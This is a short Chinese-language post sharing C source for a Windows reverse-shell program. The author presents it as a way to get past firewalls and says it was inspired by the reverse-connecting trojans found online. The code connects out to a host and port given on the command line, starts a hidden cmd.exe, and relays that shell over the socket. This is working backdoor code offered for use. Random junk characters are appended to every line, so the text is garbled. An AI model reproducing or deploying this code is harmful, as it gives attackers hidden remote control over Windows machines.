这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &Sd5]r@+
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/* ============================== XM:BMd|
Rebound port in Windows NT $}&a*c>
By wind,2006/7 c]M+|R5
===============================*/ cpOt?XYR~
#include hL3up] pZ
#include __g?xw
1
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#pragma comment(lib,"wsock32.lib") )-4c@
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void OutputShell(); UVw^t+n
SOCKET sClient; 3;v)f": [
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )E.AY
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void main(int argc,char **argv) in1rDN%Vi
{ D)-LZbPa
WSADATA stWsaData; Jt[ug26
int nRet; |?88EG@05
SOCKADDR_IN stSaiClient,stSaiServer; Ge2Klyi
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if(argc != 3) 1?.CXqK
{ _x.2&S89
printf("Useage:\n\rRebound DestIP DestPort\n"); .+9*5
return; .:?v;rYk{
} E>_Rsw *
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4V:W 8k 9D
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +^BThrB
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stSaiClient.sin_family = AF_INET; LLgw1 @-D
stSaiClient.sin_port = htons(0); No7-fX1B
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;{I9S'
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) li%@HdA!
{ 0cmd +`
printf("Bind Socket Failed!\n"); /l7 %x.
return; 4#(/{6J
} QP'sS*saJ
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stSaiServer.sin_family = AF_INET; &oMEz 0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i431mpMa
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #2^0z`-\_z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Qf_N,Bq{a
{ X`g<"Ka
printf("Connect Error!"); (1CP]5W
return; 5~h)pt47
} kqeEm{I
OutputShell(); $s_k/dM~&
} M]o]D;N~l
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void OutputShell() }[eUAGhDU
{ Zz} o t
char szBuff[1024]; PY.HZ/#d
SECURITY_ATTRIBUTES stSecurityAttributes; uf?;;wg
OSVERSIONINFO stOsversionInfo; sK%b16#
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; __}SHU0R
STARTUPINFO stStartupInfo; r^Ra`:ca
char *szShell; ft/k-64
PROCESS_INFORMATION stProcessInformation; \IQG%L{
unsigned long lBytesRead; Uc!k)o#=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9Buss+K?/h
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {mU%.5
stSecurityAttributes.lpSecurityDescriptor = 0; ryw%0H18
stSecurityAttributes.bInheritHandle = TRUE; ^IyQzBOj
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e$WAf`*
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6({)O1Z
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %<+uJ'pj
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7R
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stStartupInfo.wShowWindow = SW_HIDE; NZ&ZK@h}.
stStartupInfo.hStdInput = hReadPipe; ao=e{R)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; x?lRObHK
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GetVersionEx(&stOsversionInfo); !Ur.b
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switch(stOsversionInfo.dwPlatformId) cWZ uph\
{ tm1&OY
case 1: 54JZOtC3~
szShell = "command.com"; F?"Gln~;
break; n4M
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default: 3e47UquZ
szShell = "cmd.exe"; d>W#c8X>
break; {.p;V
} ?U[6X|1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [Gv8Fn/aG
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send(sClient,szMsg,77,0); lY(_e#
while(1) >o v#\
{ R@s|bs?
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n7G`b'
if(lBytesRead) s$qc&
{ q
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); je2"D7D
send(sClient,szBuff,lBytesRead,0); K]Vp! G
} )=X g
else MffCk!]
{ QV HI}3~
lBytesRead=recv(sClient,szBuff,1024,0); ='w 2"4
if(lBytesRead<=0) break; 2Xk;]-T!
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); r|*_KQq
} 9`
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} @t1pB]O:
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return; J$5G8<d>
}